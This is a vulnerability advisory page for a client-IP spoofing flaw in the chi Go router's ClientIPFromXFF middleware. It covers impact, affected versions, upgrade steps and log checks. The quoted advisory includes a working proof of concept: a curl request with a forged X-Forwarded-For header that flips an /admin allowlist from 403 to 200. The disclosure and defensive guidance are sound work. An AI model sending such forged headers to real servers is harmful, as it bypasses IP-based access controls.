NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Go

CVE-2026-114437: chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

mediumCVSS 3.1 4.8GHSA-j6qf-3m9c-vwj3

chi's ClientIPFromXFF middleware (github.com/go-chi/chi/v5, 5.3.2 and earlier) trusts X-Forwarded-For entries inside the configured CIDRs without checking that the TCP peer is one of those proxies. A client that reaches the server directly can pick the client IP that middleware.GetClientIP returns and pass IP allowlists. Fixed in 5.4.0.

Published Oct 23, 2026 · Analysis Nov 2, 2026

What an attacker can do

ClientIPFromXFF in middleware/client_ip.go walks the X-Forwarded-For header and skips every entry that falls in a trusted prefix. It stores the first address left over. It never parses r.RemoteAddr, so the CIDRs only say which strings in the header to skip. They do not prove the immediate sender is a trusted proxy.

A client can therefore send X-Forwarded-For: 10.0.0.7, 198.51.100.42, where 198.51.100.0/24 is the trusted range. The middleware skips the second entry and returns 10.0.0.7. In the published proof of concept, a handler that allowed only 10.0.0.7 answered 403 without the header and 200 with it.

The attack is one unauthenticated HTTP request with no user interaction. The precondition is that the origin is reachable by clients outside the trusted proxy CIDRs, for example when the Go port is exposed directly or a proxy is bypassed. The result is a spoofed client IP. Any logic built on it is affected: IP allowlists on admin routes, rate limits, geo checks and audit logs. The advisory reports low confidentiality and integrity impact, with high attack complexity in the CVSS vector.

Who is affected

Applications using middleware.ClientIPFromXFF(...) with chi v5 up to and including 5.3.2, where untrusted clients can reach the server directly. Apps that use only ClientIPFromXFFTrustedProxies or ClientIPFromRemoteAddr are not described as affected. Check the module version in your project:

go list -m github.com/go-chi/chi/v5

Then search your code for ClientIPFromXFF( to see whether you call the vulnerable form.

github.com/go-chi/chi/v5

Ecosystem
Go
Affected
<= 5.3.2
Fixed in
5.4.0
Check
go list -m github.com/go-chi/chi/v5

How to fix it

Upgrade to 5.4.0:

go get github.com/go-chi/chi/[email protected]

After the fix (PR 1214), r.RemoteAddr counts as the rightmost hop. If the peer is outside the trusted prefixes, the peer's IP becomes the client IP and the header is ignored. If RemoteAddr cannot be parsed, no IP is set.

There are breaking changes. Calling ClientIPFromXFF() with no prefixes now panics at startup. Unix-socket setups get no IP from it, so use ClientIPFromXFFTrustedProxies(1) there. Make sure your prefix list covers the proxy that actually connects to you, such as ClientIPFromXFF("127.0.0.1/32", "::1/128"). If a CIDR config slice can be empty, fall back to ClientIPFromRemoteAddr.

How to tell if you were hit

Review access logs for requests whose X-Forwarded-For header contains addresses from your trusted CIDRs while the TCP peer (RemoteAddr) is not a proxy you run. Look for requests to allowlisted routes such as admin paths that return 200 from peers outside your proxy ranges. Also look for a client IP in your logs that differs from the connecting address on traffic that did not pass through your load balancer. Check that the origin port is not reachable from the internet.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

  1. Send GET /admin directly to the origin with no X-Forwarded-For header.
  2. Observe a 403 Forbidden response and an empty derived client IP.
  3. Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
  4. Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"

Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Credited to tenbbughunters.

Questions

Am I affected if my app sits behind a proxy and the origin is not reachable directly?

The advisory's precondition is an origin reachable by clients outside the trusted CIDRs. If only your proxy can connect, the risk is low, but upgrading is still advised because network rules can change.

Will upgrading to chi 5.4.0 break my code?

It can. ClientIPFromXFF with no prefixes now panics at startup, and the peer address must fall inside your trusted prefixes or the header is ignored. Unix-socket setups should use ClientIPFromXFFTrustedProxies(1).

Is CVE-2026-114437 exploited in the wild?

No source says so, and it is not in CISA's KEV catalog. Tenable published a research note with the proof of concept.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Go vulnerabilities

All Go entries